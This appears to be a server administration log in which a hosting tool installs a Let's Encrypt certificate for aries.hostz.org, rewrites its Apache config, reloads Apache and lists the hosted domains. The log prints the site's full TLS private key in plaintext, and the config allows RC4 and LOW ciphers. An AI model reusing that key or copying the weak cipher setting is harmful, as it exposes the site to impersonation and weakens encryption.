Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCuetEvS0MqAPSXTpXqG7RjMWeFpY34OrKD74k8Ny7Lga1zmOAGYvVpiscstgw+
ira8lrbCg7do0yKrY2Dq7oOWycUxDVsriJmJ/QaYL6cGCfqy0JlCGVbIBS436CMq
Epg0R1wh/Nt5jW5Lor4A6tLstXHW514dTZavlsKk3orgDYJk2cO9jNrEvSpy0QGd
VLqEGJhd0UYg5hp/ZS/fAvSxoGr8RR/yXcS2/SJYhPNdZ4QzwbQDp3UGjdA/PMI1
t+JGVhWmmUlY83vj/rm1y9Z6m7mfrQOwPByuHPjIOTfYBFQo58Pvh6WqXH+yOIwe
qQuSdfd5sQRSsh2sgN6AA0OzAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLup8KZWCqilywcJT3fRoei+Y/pJMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvOTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZicH8hQAABAMARzBFAiEA
2ElXJTvIDWpsqJT4PyzhxYSXhuj6FzSEYUlHzN901YgCIDkebmXyJB412U859iKE
dc6Rv9l0YWBXjcckXeRM3THgAHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYK
LKy7yCoAAAGZicH8zwAABAMARzBFAiEA7jVdGgEhxcK9Gg0WoOJZ2E82VrULE0nm
ai6otFQ52WsCIA3ma3X0KGv19rs3rD0M8N4UUOWW8bZu9YtI41NVJsSUMA0GCSqG
SIb3DQEBCwUAA4IBAQCeI7gWzu3fn7v5Z+Hm1C0zaeghuLiVNTX4sdIsDUqPMecD
CGhkWaEmHWGJjqbWw4d9NNb0UmoLYOXkH08X7cUjKFZm7ZLaOPGr7E9d2R+kCgkC
kIJzOF0tLYUyLdgsy+u+VclcPnSsk1GvaUuzYJCtPjiCOAiJi6qLcllctT34/VE3
g/icf+IHZHB3PAOBrYTCGV+ToviptNmeJD+yb6ZOuQ5eqNmFiKaZkIcU4ERNIpiP
JZG6DWejGvMIj50KlWGFxVshbuahltc71G79wLFEHGo35Et+FLbdrnk+GMJ5GVbp
sb7MFz7QToAoHU3IPmrJucjRTq9Y3mLAB7fft/aV
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuetEvS0MqAPSX
TpXqG7RjMWeFpY34OrKD74k8Ny7Lga1zmOAGYvVpiscstgw+ira8lrbCg7do0yKr
Y2Dq7oOWycUxDVsriJmJ/QaYL6cGCfqy0JlCGVbIBS436CMqEpg0R1wh/Nt5jW5L
or4A6tLstXHW514dTZavlsKk3orgDYJk2cO9jNrEvSpy0QGdVLqEGJhd0UYg5hp/
ZS/fAvSxoGr8RR/yXcS2/SJYhPNdZ4QzwbQDp3UGjdA/PMI1t+JGVhWmmUlY83vj
/rm1y9Z6m7mfrQOwPByuHPjIOTfYBFQo58Pvh6WqXH+yOIweqQuSdfd5sQRSsh2s
gN6AA0OzAgMBAAECggEBAJbBg9ErZIL8hFngCuRWv8wdOedeHobmoKwi4h7nR0WL
bIU/CAI8qvNgd6wIOBgp3q6gQpVbHbQzCfewTGNxZr145Sr28VlyE8gImhQQyG4N
XVH3rxRPtI3q+/5OU2Pc4Sn6pn6vbiteqngry6QbQdhJBm27R7Rl/9cDmna92pyv
YN7dxjP324GuGtGjAhLBx1ABvWJJTg+5tbERJEoAcDFXD9md5VpWBMeau1yX8BNs
K5ViwYfCmzm39oJf7zp/Nd+zBEpX4TZxRZ0VPGLtSn28HG0V1p0XqytSe38wCduD
v8/Xq9sLg52mjuLBN3Ug7kRu7IwQapvOdDviLFAP6DECgYEA5t3lwXURd436hP4r
1wIU8fj6+DCRaIyuOt69L2gr0g87WpDKgTYLRv32yMc7tfsVvGcCoZ0WueI+VBIJ
CcxTB4QYGPx4Zx8Nvcw8zdPAwgua7srGgN29gMibQiNxBHi3aZx9oM5LSfX+WMte
MSWMvrxPQZYrMZY6wLCi/qTUbEUCgYEAwXlza79mNHzxxRNwELrcIjGUSKSkonfa
74mfgWUWi2AYQgLNrGowhB3zjoKdTFeRUlJo1hSgyzd285AQGPeJsGcmtFVMNHNf
tPfRbjOTEiQynJ9qxozO6royuIH9yV5REcYKS7JzHL3J3UJyHJeeyzwHVMHo+zu7
zN/YKL2tu5cCgYB/dxRbc59pOuKOeycJVwTpdGZckbQ23TV1G3WorwNCv1Yt8rNc
E9K2J5IR2K6HE1I060rwoCLkDp4LHMoQttdA1xXW9c4kYWjc2d7YZYmPmYi5PwvK
KqNub1QJeDf2GBBsJxLVrhCzjTYZIG+pAupqhN3dgGPoxOE7cksL/UWrYQKBgQCR
3wQLBPAGOv3+XL1tn7VBgqgObTRD2qITYGwGnzT0OKuReZOgnx+dPQfZNtlqKcvD
iabJYhwpm9Pvp3q7mEcT3XHtHTKriSFrzDz3HaORVgFi3T8gHCIWD/UV78xs+tOc
1vgEQrNPxDhivipTLG3pRYUxflIuucbKnSrY7MoEWQKBgCi5R+qy5V/Tko1Gh0TA
lpciOw7Fv96G10Qjn3TSMxFKpKt2OhSLczlQBObO9Pi/w93OlAzuGYz9mnM99x7F
tiXwycwEGKfqKZ6u3xEbk2i3ZzRmJstKyGyZCla5HwRGzJO6co/xd7eM5Ktvh5ea
GX3DIQ3xFpkjrgdJTL8i15JU
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-27 06:00:16:
chmod 755 /tmp/pkp875453; /tmp/pkp875453; rm /tmp/pkp875453
2025-09-27 06:00:16:
dir=/etc/ssl/certs
2025-09-27 06:00:16:
PUT: /tmp/pkp202507
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_aries_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-27 06:00:16:
chmod 755 /tmp/pkp202507; /tmp/pkp202507; rm /tmp/pkp202507
2025-09-27 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf 39
<VirtualHost *:80>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/aries_access.log combined
ErrorLog /var/log/apache2/hostz/aries_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_aries/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/aries_secure_access.log combined
ErrorLog /var/log/apache2/hostz/aries_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-09-27 06:00:16:
PUT: /tmp/pkp461822
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_aries_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_aries_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/aries_access.log combined
ErrorLog /var/log/apache2/hostz/aries_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_aries/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/aries_secure_access.log combined
ErrorLog /var/log/apache2/hostz/aries_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_aries_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf= 1'
fi
2025-09-27 06:00:16:
chmod 755 /tmp/pkp461822; /tmp/pkp461822; rm /tmp/pkp461822
2025-09-27 06:00:16:
2025-09-27 06:00:16:
PUT: /tmp/pkp793071
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-27 06:00:16:
chmod 755 /tmp/pkp793071; /tmp/pkp793071; rm /tmp/pkp793071
2025-09-27 06:00:17:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-27 06:00:17: Establishing a connection
2025-09-27 06:00:17:
PUT: /tmp/pkp795449
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-27 06:00:17:
chmod 755 /tmp/pkp795449; /tmp/pkp795449; rm /tmp/pkp795449
2025-09-27 06:00:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-27 06:00:17:
PUT: /tmp/pkp470893
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_aries_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-27 06:00:17:
chmod 755 /tmp/pkp470893; /tmp/pkp470893; rm /tmp/pkp470893
2025-09-27 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf 1872
<VirtualHost *:80>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/aries_access.log combined
ErrorLog /var/log/apache2/hostz/aries_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_aries/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/aries_secure_access.log combined
ErrorLog /var/log/apache2/hostz/aries_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-09-27 06:00:17:
PUT: /tmp/pkp720649
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-27 06:00:17:
chmod 755 /tmp/pkp720649; /tmp/pkp720649; rm /tmp/pkp720649
2025-09-27 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt 5345
e2:4f:b0:75:e3:47:c0:0e:96:1b:93:2c:32:73:f2:c6
-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBXQH+CCrO9MfvRmAccrlBapgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMTQ1WhcNMjUxMjI2MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCuetEvS0MqAPSXTpXqG7RjMWeFpY34OrKD74k8Ny7Lga1zmOAGYvVpiscstgw+
ira8lrbCg7do0yKrY2Dq7oOWycUxDVsriJmJ/QaYL6cGCfqy0JlCGVbIBS436CMq
Epg0R1wh/Nt5jW5Lor4A6tLstXHW514dTZavlsKk3orgDYJk2cO9jNrEvSpy0QGd
VLqEGJhd0UYg5hp/ZS/fAvSxoGr8RR/yXcS2/SJYhPNdZ4QzwbQDp3UGjdA/PMI1
t+JGVhWmmUlY83vj/rm1y9Z6m7mfrQOwPByuHPjIOTfYBFQo58Pvh6WqXH+yOIwe
qQuSdfd5sQRSsh2sgN6AA0OzAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLup8KZWCqilywcJT3fRoei+Y/pJMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvOTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZicH8hQAABAMARzBFAiEA
2ElXJTvIDWpsqJT4PyzhxYSXhuj6FzSEYUlHzN901YgCIDkebmXyJB412U859iKE
dc6Rv9l0YWBXjcckXeRM3THgAHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYK
LKy7yCoAAAGZicH8zwAABAMARzBFAiEA7jVdGgEhxcK9Gg0WoOJZ2E82VrULE0nm
ai6otFQ52WsCIA3ma3X0KGv19rs3rD0M8N4UUOWW8bZu9YtI41NVJsSUMA0GCSqG
SIb3DQEBCwUAA4IBAQCeI7gWzu3fn7v5Z+Hm1C0zaeghuLiVNTX4sdIsDUqPMecD
CGhkWaEmHWGJjqbWw4d9NNb0UmoLYOXkH08X7cUjKFZm7ZLaOPGr7E9d2R+kCgkC
kIJzOF0tLYUyLdgsy+u+VclcPnSsk1GvaUuzYJCtPjiCOAiJi6qLcllctT34/VE3
g/icf+IHZHB3PAOBrYTCGV+ToviptNmeJD+yb6ZOuQ5eqNmFiKaZkIcU4ERNIpiP
JZG6DWejGvMIj50KlWGFxVshbuahltc71G79wLFEHGo35Et+FLbdrnk+GMJ5GVbp
sb7MFz7QToAoHU3IPmrJucjRTq9Y3mLAB7fft/aV
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuetEvS0MqAPSX
TpXqG7RjMWeFpY34OrKD74k8Ny7Lga1zmOAGYvVpiscstgw+ira8lrbCg7do0yKr
Y2Dq7oOWycUxDVsriJmJ/QaYL6cGCfqy0JlCGVbIBS436CMqEpg0R1wh/Nt5jW5L
or4A6tLstXHW514dTZavlsKk3orgDYJk2cO9jNrEvSpy0QGdVLqEGJhd0UYg5hp/
